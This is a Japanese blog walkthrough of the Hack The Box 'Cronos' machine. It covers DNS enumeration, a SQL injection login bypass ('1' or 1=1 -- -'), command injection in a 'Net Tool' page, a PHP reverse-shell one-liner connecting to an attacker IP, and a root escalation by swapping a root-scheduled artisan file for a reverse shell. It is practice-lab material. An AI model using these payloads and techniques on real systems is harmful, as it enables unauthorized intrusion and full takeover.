Cronos 日本語でウォークスルー Hack The Box Machine:

HTB htb-medium

Hack The BoxのCronosのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はmediumとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。

HTB Cronos ウォークスルー・ライトアップ Hack The Box

Summary

local shell取得まで

ターゲットポート:TCP 53(dns),80(http)
脆弱性:ターゲットのwebサイトでは、コマンドインジェクションとSQLインジェクションの脆弱性が内在していた。
これを利用してlocal-shellを取得した。
local権限を取得したユーザ:「www-data」

privilege Escalation取得まで

脆弱性:ターゲットには、定期的に実行をスケジューリングされているphpファイルがあった。これはroot権限で実行されていた。
このphpファイルを置き換えることでreverse-shellを取得した。
root権限を取得したユーザ:root

Information Gathering

ポートスキャン

それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmapの結果、上画像の通り、TCPポート番号22(ssh),53(dns),80(http)が開いていることが分かりました。
まずはhttpサービスから調査していくことにしました。

ターゲットのhttpサービス調査

まずは、httpでfirefoxにアクセスしました。その結果、以下サイトに接続しました。
Apache2のデフォルトページが表示されました。

ターゲットのdnsサービス調査

続いてdnsサービス(TCPポート番号53)を調査していくことにしました。
「nslookup」を使用し、ターゲットのドメインを調査しました。すると、「ns1.cronos.htb」というドメインが見つかりました。

続いて「dig」を使用して、ドメイン「cronos.htb」を調査しました。
その結果、新しいドメインとして「admin.cronos.htb」と「www.cronos.htb」を見つけました。

firefoxを使用して、見つけたドメインへhttpでアクセスしました。
ドメイン「admin.cronos.htb」へアクセスした所、以下のログイン画面を見つけました。

こちらを参考に、SQLインジェクションを試した所、以下でヒットしました。

1' or 1=1 -- -

SQLインジェクションにより、認証を突破した所、以下の「Net Tool」が見つかりました。

「Net Tool」の脆弱性調査

続いて「Net Tool」の脆弱性を調査していきました。
こちらを参考に、コマンドインジェクションの脆弱性を試した所、ヒットしました。
以下の通り「;」で繋げた所、linuxの「whoami」コマンドが通りました。

local shellの取得

コマンドインジェクションを利用した攻撃

続いて、「Net Tool」で見つけたコマンドインジェクションの脆弱性を用いて、reverse-shellを取得することにしました。

pentestmonkeyを参考に、phpのreverse-shellスクリプトを構成しました。

php -r '$sock=fsockopen("10.10.xx.xx",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

「netcat」を自分のマシンで仕掛けてから、「Net Tool」でreverse-shellスクリプトを実行しました。

以下の通り、「www-data」のlocal-shellを取得できました。

Privilege Escalation

Privilege Escalationの脆弱性調査

続いてroot権限に昇格するための脆弱性を調査していきました。
その結果、「/var/www/admin/」に「config.php」を見つけました。その中に、クレデンシャル情報がありました。

ただし、このクレデンシャル情報は今回使用しませんでした。

続いて、linpeasを使ってターゲット内を調査しました。
その結果、「/var/www/laravel/artisan」を見つけました。
これは、rootユーザが定期的に実行しているphpファイルのようです。

「/var/www/laravel/artisan」を置き換える

root権限を取得する方法として、「artisan」を「reverse-shell」用のphpファイルと置き換えることを検討しました。

reverse-shell用のファイルをpentestmonkeyからダウンロードしました。
ダウンロードしたファイルは「php-reverse-shell.php」とし、自分のマシンのIPアドレスとポート番号に変更しました。
今回はTCPポート番号を5555としています。

wgetでターゲットに「php-reverse-shell.php」をダウンロードした後、以下の通り、
「artisan」を「php-reverse-shell.php」に置き換えました。
※事前に自分のマシンでnetcatを仕掛けています。

3分程、放置した所、スケジュールされた「artisan」が実行され、reverse-shellを取得できました。
以下の通りroot権限を得ることができました。

flagを探す

user.txtは「/home/noulis」にありました。
root.txtは「/root」直下にありました。

以上で、Cronosのウォークスルーは終了です。

今まで記事にしたHack The Boxのマシンは以下にまとめています。